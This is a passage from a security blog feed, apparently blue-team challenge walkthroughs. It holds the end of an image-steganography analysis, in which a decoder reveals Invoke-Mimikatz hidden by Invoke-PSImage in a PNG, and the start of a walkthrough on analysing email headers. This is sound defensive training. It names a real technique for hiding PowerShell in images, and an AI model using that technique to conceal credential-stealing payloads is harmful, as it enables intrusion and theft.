&lt;em&gt;GitHub&lt;/em&gt; project page for &lt;a class=&#34;link&#34; href=&#34;https://github.com/peewpw/Invoke-PSImage&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Invoke-PSImage&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;According to the project&amp;rsquo;s README, this tool is used for the following purpose:&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Invoke-PSImage takes a PowerShell script and encodes the bytes of the script into the pixels of a PNG image. It generates a oneliner for executing either from a file of from the web.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Based on the number of stars, this project seems well-known, and it creates a payload within a &lt;em&gt;.png&lt;/em&gt; image. Let&amp;rsquo;s submit the answer and see if our research is correct:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2206px&#34; data-flex-grow=&#34;919&#34; height=&#34;87&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-imagestegano-challenge-walkthrough/9dece4b15e6db10041df37293f46f40f_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-4-after-decoding-the-payload-can-you-find-out-the-functions-name&#34;&gt;Question 4: After decoding the payload, can you find out the function&amp;rsquo;s name?&#xA;&lt;/h3&gt;&lt;p&gt;Now that we know what tool created the suspicious image, we&amp;rsquo;ll now need to locate a method to analyze the actual payload hidden within the image.&lt;/p&gt;&#xA;&lt;p&gt;Since we know the tool which created the malicious image, let&amp;rsquo;s do some more &lt;em&gt;Google&lt;/em&gt; searching to see if there is a tool available to reveal the code.&lt;/p&gt;&#xA;&lt;p&gt;We&amp;rsquo;ll stumble across the article below by &lt;a class=&#34;link&#34; href=&#34;https://www.mertsarica.com/malicious-image/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Mert Sarica at Hack 4 Career&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.mertsarica.com/malicious-image/&#34;  title=&#34;https://www.mertsarica.com/malicious-image/&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Malicious Image | Hack 4 Career&lt;/strong&gt;&#xA;_When we look at the campaigns carried out by APT groups such as Muddy Water, which also targets institutions in Turkey&amp;hellip;_www.mertsarica.com&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.mertsarica.com/malicious-image/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;After reading the article, we discover that this researcher has created a tool, &lt;a class=&#34;link&#34; href=&#34;https://github.com/mertsarica/hack4career/blob/master/codes/psimage_decoder.py&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;psimage_decoder.py&lt;/strong&gt;&lt;/a&gt;, which:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Reveals Powershell code hidden in image files using &lt;a class=&#34;link&#34; href=&#34;https://github.com/peewpw/Invoke-PSImage&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Invoke-PSImage&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;This sounds promising and is exactly what we&amp;rsquo;re trying to accomplish! Why don&amp;rsquo;t we test out this tool and see how it works? We&amp;rsquo;ll follow the link in the article and check out the &lt;em&gt;Python&lt;/em&gt; code over on &lt;a class=&#34;link&#34; href=&#34;https://github.com/mertsarica/hack4career/blob/master/codes/psimage_decoder.py&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;GitHub&lt;/em&gt;&lt;/a&gt;&lt;em&gt;.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;Without internet connectivity, we have limited options to download the tool into the virtual analysis environment so we&amp;rsquo;ll just copy the raw file contents into the copy/paste box of the virtual machine&amp;rsquo;s remote options.&lt;/p&gt;&#xA;&lt;p&gt;Then, we&amp;rsquo;ll paste the code into the installed &lt;em&gt;Notepad ++&lt;/em&gt; and save it as a &lt;em&gt;Python&lt;/em&gt; file called &lt;em&gt;psimage_decoder.py (&lt;em&gt;or whatever name you&amp;rsquo;d like&lt;/em&gt;).&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;Finally, let&amp;rsquo;s run the &lt;em&gt;Python&lt;/em&gt; script using the provided syntax to point to the malicious &lt;em&gt;.png&lt;/em&gt; file&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1811px&#34; data-flex-grow=&#34;754&#34; height=&#34;106&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-imagestegano-challenge-walkthrough/f01c79e4d17726a91ffe00708ec7b897_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Yikes! That was a lot of output to the console, let&amp;rsquo;s redirect this to a txt file instead so that we can more easily analyze the results.&lt;/p&gt;&#xA;&lt;p&gt;python .\psimage_decoder.py &lt;Path to file&gt; &amp;gt; &lt;output file name&gt;.txt&lt;/p&gt;&#xA;&lt;p&gt;Once we open the results file, we will see a &lt;em&gt;function&lt;/em&gt; at the very top — &lt;strong&gt;Invoke-Mimikatz&lt;/strong&gt;. If you aren&amp;rsquo;t familiar with &lt;em&gt;Mimikatz&lt;/em&gt;, here is a summary of this software from &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/software/S0002/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;MITRE ATT&amp;amp;CK&lt;/strong&gt;&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Mimikatz is a credential dumper capable of obtaining plaintext Windows account logins and passwords, along with many other features that make it useful for testing the security of networks.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;326px&#34; data-flex-grow=&#34;136&#34; height=&#34;588&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-imagestegano-challenge-walkthrough/ba6222da65c894cc356bd08210fd9fc4_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Yikes! That wouldn&amp;rsquo;t be a good thing for the victim to launch. Now that we&amp;rsquo;ve discovered evidence of &lt;em&gt;Mimikatz&lt;/em&gt; embedded in the &lt;em&gt;.png&lt;/em&gt; file using &lt;em&gt;psimage_decoder.py,&lt;/em&gt; I think we can confidently call this file malicious. Let&amp;rsquo;s continue with the investigation.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2258px&#34; data-flex-grow=&#34;941&#34; height=&#34;85&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-imagestegano-challenge-walkthrough/240398e354641a2d2c6aa651918bef12_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-5-there-are-two-hidden-executables-in-the-decoded-payload-what-is-the-sha256-hash-of-the-32-bit-version-of-the-executable&#34;&gt;Question 5: There are two hidden executables in the decoded payload. What is the sha256 hash of the 32-bit version of the executable?&#xA;&lt;/h3&gt;&lt;p&gt;To answer the last question, let&amp;rsquo;s continue scrolling through the output of the decoded payload. Toward the bottom of the output, we&amp;rsquo;ll stumble upon this line with a block of code:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;3286px&#34; data-flex-grow=&#34;1369&#34; height=&#34;49&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-imagestegano-challenge-walkthrough/eccf3b04c9013445b484d3f89c99f63d_MD5.png&#34; width=&#34;671&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;We&amp;rsquo;ve found of the two hidden executables! This is the &lt;em&gt;64-bit&lt;/em&gt; version, let&amp;rsquo;s keep scrolling until we find the &lt;em&gt;Win32&lt;/em&gt; version:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;838px&#34; data-flex-grow=&#34;349&#34; height=&#34;229&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-imagestegano-challenge-walkthrough/c714aeb066d910bff99d87b45ebac632_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Locating the Win32 Executable in the &lt;em&gt;psimage_decoder.py output&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;There we go! Now that we have located the second executable, notice the &lt;em&gt;SHA256 hash&lt;/em&gt; and the convenient link to &lt;strong&gt;VirusTotal?&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;While we already have the file hash we are looking for, let&amp;rsquo;s take a quick look at the &lt;em&gt;VirusTotal&lt;/em&gt; report. If we needed to do some additional research on this binary, this would be a solid method to pivot and gather some additional intelligence and confirm our findings — in this case, we can confirm that the file is indeed malicious.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/en/file/be3414602121b6d23fc06edb6bd01ad60b584485266120c242877bbd4f7c8059/analysis/1478821027/&#34;  title=&#34;https://www.virustotal.com/en/file/be3414602121b6d23fc06edb6bd01ad60b584485266120c242877bbd4f7c8059/analysis/1478821027/&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;&lt;em&gt;VirusTotal&lt;/em&gt;&lt;/strong&gt;&#xA;VirusTotalwww.virustotal.com&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/en/file/be3414602121b6d23fc06edb6bd01ad60b584485266120c242877bbd4f7c8059/analysis/1478821027/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;842px&#34; data-flex-grow=&#34;350&#34; height=&#34;228&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-imagestegano-challenge-walkthrough/7ab8533e1c5402ed631189d707b4a1d4_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s submit the answer and wrap up this investigation!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2258px&#34; data-flex-grow=&#34;941&#34; height=&#34;85&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-imagestegano-challenge-walkthrough/1ff5d8f18f366f876a107dbc675bd99a_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;Whew! Excellent job with the investigation! We made it through the &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/imagestegano&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;ImageStegano Challenge&lt;/strong&gt;&lt;/a&gt; and successfully revealed &lt;em&gt;Mimikatz&lt;/em&gt; hiding within the &lt;em&gt;.png&lt;/em&gt; image file! Now that we know what the malicious file is, let&amp;rsquo;s wrap this up.&lt;/p&gt;&#xA;&lt;p&gt;Thank you to &lt;a class=&#34;link&#34; href=&#34;https://letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt; for providing another fun challenge and the opportunity to learn about &lt;em&gt;steganography.&lt;/em&gt; This challenge was really interesting to me, and the lab was valuable to better understand how threat actors are always evolving their tactics and techniques. It was cool to see a practical example of malware embedded in an otherwise innocuous looking file. Having the hands-on practice with these concepts and some of the tools we used like &lt;em&gt;psimage_decoder.py&lt;/em&gt; will be excellent additions to the toolkit!&lt;/p&gt;&#xA;&lt;p&gt;Thank you so much for reading along, too! I hope that you had as much fun as I did and learned something new, too. Until next week — stay curious!&lt;/p&gt;&#xA;&lt;h3 id=&#34;tools--references&#34;&gt;Tools &amp;amp; References:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;InfoSec Glossary — SANS Internet Storm Center:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://isc.sans.edu/tools/glossary/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://isc.sans.edu/tools/glossary/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Exiftool:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://exiftool.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://exiftool.org/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Microsoft Docs WSL&lt;/strong&gt;: &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows/wsl/about&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/windows/wsl/about&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Invoke-PSImage (GitHub):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://github.com/peewpw/Invoke-PSImage&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://github.com/peewpw/Invoke-PSImage&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;psimage_decoder.py (GitHub):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://github.com/mertsarica/hack4career/blob/master/codes/psimage_decoder.py&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://github.com/mertsarica/hack4career/blob/master/codes/psimage_decoder.py&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Malicious Image Research:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.mertsarica.com/malicious-image/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.mertsarica.com/malicious-image/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK Mimikatz:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/software/S0002/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/software/S0002/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;VirusTotal:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/en/file/be3414602121b6d23fc06edb6bd01ad60b584485266120c242877bbd4f7c8059/analysis/1478821027/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/en/file/be3414602121b6d23fc06edb6bd01ad60b584485266120c242877bbd4f7c8059/analysis/1478821027/&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>LetsDefend — Email Analysis Challenge Walkthrough</title>
            <link>https://stumblesec.com/posts/letsdefend-email-analysis-challenge-walkthrough/</link>
            <pubDate>Sun, 31 Mar 2024 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/letsdefend-email-analysis-challenge-walkthrough/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/letsdefend-email-analysis-challenge-walkthrough/fe2be9e74d1be353e4c566000033eaa1_MD5.png&#34; alt=&#34;Featured image of post LetsDefend — Email Analysis Challenge Walkthrough&#34; /&gt;&lt;h3 id=&#34;letsdefend--email-analysis-challenge-walkthrough&#34;&gt;LetsDefend — Email Analysis Challenge Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;email-header-and-attachment-analysis&#34;&gt;Email Header and Attachment Analysis&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;322px&#34; data-flex-grow=&#34;134&#34; height=&#34;302&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-email-analysis-challenge-walkthrough/fe2be9e74d1be353e4c566000033eaa1_MD5.png&#34; width=&#34;406&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image Credit: &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/email-analysis&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/challenge/email-analysis&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h3&gt;&lt;p&gt;Hello — Thanks for joining me for this weekly walkthrough!&lt;/p&gt;&#xA;&lt;p&gt;This week I am going to tackle the medium difficulty &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/email-analysis&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Email Analysis&lt;/strong&gt;&lt;/a&gt; blue team challenge over on &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;This one should be good practice for some manual email header and attachment analysis. While there are many solutions that perform automatic header analysis and sandbox detonation of attachments before delivery, it&amp;rsquo;s always good to practice your manual analysis skills especially if you don&amp;rsquo;t have these enterprise tools available to you.&lt;/p&gt;&#xA;&lt;p&gt;As always, this write up will serve as a learning notebook for me and a &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt; challenge walkthrough for anyone else who stumbles upon this post. Thanks for reading along, hope it helps!&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/email-analysis&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/challenge/email-analysis&lt;/a&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;challenge-scenario&#34;&gt;Challenge Scenario:&#xA;&lt;/h3&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;You recently received an email from someone trying to impersonate a company, your job is to analyze the email to see if it is suspicious.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;h3 id=&#34;setup-the-remnux-analysis-environment--extract-the-challenge-file&#34;&gt;Setup the REMnux Analysis Environment &amp;amp; Extract the challenge file:&#xA;&lt;/h3&gt;&lt;p&gt;First thing&amp;rsquo;s first — It&amp;rsquo;s always a good idea when downloading lab/challenge files from &lt;em&gt;LetsDefend (or any lab/challenge/range)&lt;/em&gt; to keep yourself safe by performing these tasks in a dedicated, isolated virtual machine — we are working with malicious files, after all!&lt;/p&gt;&#xA;&lt;p&gt;For this challenge I am using &lt;em&gt;REMnux,&lt;/em&gt; a &lt;em&gt;Linux&lt;/em&gt; distro built for malware analysis so we can leverage the available built-in tools to help us with the analysis.&lt;/p&gt;&#xA;&lt;p&gt;To keep this write-up focused I&amp;rsquo;m going to skip a step-by-step setup guide of &lt;em&gt;REMnux&lt;/em&gt;. Instead, if you want to set up your own &lt;em&gt;REMnux&lt;/em&gt; environment please follow the directions provided by &lt;em&gt;REMnux&lt;/em&gt; directly. I opted for the virtual appliance method:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://docs.remnux.org/install-distro/get-virtual-appliance&#34;  title=&#34;https://docs.remnux.org/install-distro/get-virtual-appliance&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Get the Virtual Appliance | REMnux Documentation&lt;/strong&gt;&#xA;_The easiest way to get the REMnux distro is to download the REMnux virtual appliance in the OVA format, import it into&amp;hellip;_docs.remnux.org&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://docs.remnux.org/install-distro/get-virtual-appliance&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Okay! Now that we have our virtual environment created, updated, isolated, and snapshotted, we can download and extract our challenge file and get started!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;3038px&#34; data-flex-grow=&#34;1266&#34; height=&#34;56&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-email-analysis-challenge-walkthrough/161fea969cb5f85ae522d0567d7d4c45_MD5.png&#34; width=&#34;709&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-1-what-is-the-sending-emailaddress&#34;&gt;Question 1: What is the sending email address?&#xA;&lt;/h3&gt;&lt;p&gt;Okay! We have few ways to approach this challenge. Since the file we are doing analysis on is a &lt;strong&gt;.eml&lt;/strong&gt; file which contains the message header, message body, and attachments, we might simply open it in a plain text editor to view the header information. But, for this challenge, let&amp;rsquo;s jump into &lt;a class=&#34;link&#34; href=&#34;https://gchq.github.io/CyberChef/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;CyberChef&lt;/em&gt;&lt;/a&gt; to view the file in case we need to perform any other operations later. We can use the &lt;a class=&#34;link&#34; href=&#34;https://gchq.github.io/CyberChef/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;online version&lt;/a&gt; of the tool or the version installed in &lt;em&gt;REMnux&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Now, we can simply drop the extracted &lt;strong&gt;.eml&lt;/strong&gt; file into the &lt;em&gt;CyberChef&lt;/em&gt; input window. Then, in the output window we should have all the information that we need to answer the first five questions!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;514px&#34; data-flex-grow=&#34;214&#34; height=&#34;560&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-email-analysis-challenge-walkthrough/ec9aad49499163a7cf9355824ee67b79_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-email-analysis-challenge-walkthrough/ec9aad49499163a7cf9355824ee67b79_MD5_hu_f1332763447976e2.png 800w, https://stumblesec.com/posts/letsdefend-email-analysis-challenge-walkthrough/ec9aad49499163a7cf9355824ee67b79_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;.eml in, .eml out&lt;/p&gt;&#xA;&lt;p&gt;For &lt;strong&gt;Question 1&lt;/strong&gt;, we want to look at the &lt;strong&gt;From&lt;/strong&gt; field which contains the sender&amp;rsquo;s address information. The challenge states that this email is trying to impersonate a company, right? It&amp;rsquo;s important to note that in real-world analysis this field can be (and often is) spoofed by the bad guys for phishing or impersonation attempts.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;554px&#34; data-flex-grow=&#34;231&#34; height=&#34;346&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-email-analysis-challenge-walkthrough/85589d649fb42957429f11cb5aaef06c_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;For this one, let&amp;rsquo;s submit the sender&amp;rsquo;s address as we see it in the &lt;strong&gt;From&lt;/strong&gt; field.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2461px&#34; data-flex-grow=&#34;1025&#34; height=&#34;78&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-email-analysis-challenge-walkthrough/0c01167e263a64d0fba609a54b81c048_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-2-what-is-the-email-address-of-the-recipient&#34;&gt;Question 2: What is the email address of the recipient?&#xA;&lt;/h3&gt;&lt;p&gt;We&amp;rsquo;re going to do the same thing we did for &lt;strong&gt;Question 1&lt;/strong&gt;; except this time, we&amp;rsquo;ll look at the &lt;strong&gt;To&lt;/strong&gt; field which contains the recipient&amp;rsquo;s email address.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;554px&#34; data-flex-grow=&#34;231&#34; height=&#34;346&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-email-analysis-challenge-walkthrough/b332220c3eadbbf8f61f9c89b7a0655f_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2341px&#34; data-flex-grow=&#34;975&#34; height=&#34;82&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-email-analysis-challenge-walkthrough/db3c2f1e7ff7df05a5841088213a6256_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-3-what-is-the-subject-line-of-theemail&#34;&gt;Question 3: What is the subject line of the email?&#xA;&lt;/h3&gt;&lt;p&gt;This time let&amp;rsquo;s look at the &lt;strong&gt;Subject&lt;/strong&gt; field which is just the subject line that the sender entered for the email.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;554px&#34; data-flex-grow=&#34;231&#34; height=&#34;346&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-email-analysis-challenge-walkthrough/e86fe09135b212e4460099d1ed9223f7_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2206px&#34; data-flex-grow=&#34;919&#34; height=&#34;87&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-email-analysis-challenge-walkthrough/33051f29015fc05cc457f1bbf04a7b1a_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-4-what-date-was-the-email-sent-date-format-mmddyyyy&#34;&gt;Question 4: What date was the Email sent? Date format: MM/DD/YYYY&#xA;&lt;/h3&gt;&lt;p&gt;Yep, you guessed it — we&amp;rsquo;re going to focus on the &lt;strong&gt;Date&lt;/strong&gt; field this time. This is a required header in the Simple Mail Transfer Protocol (&lt;em&gt;SMTP&lt;/em&gt;). The only trick here is the date format is different in the email than it is for the question submission.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img 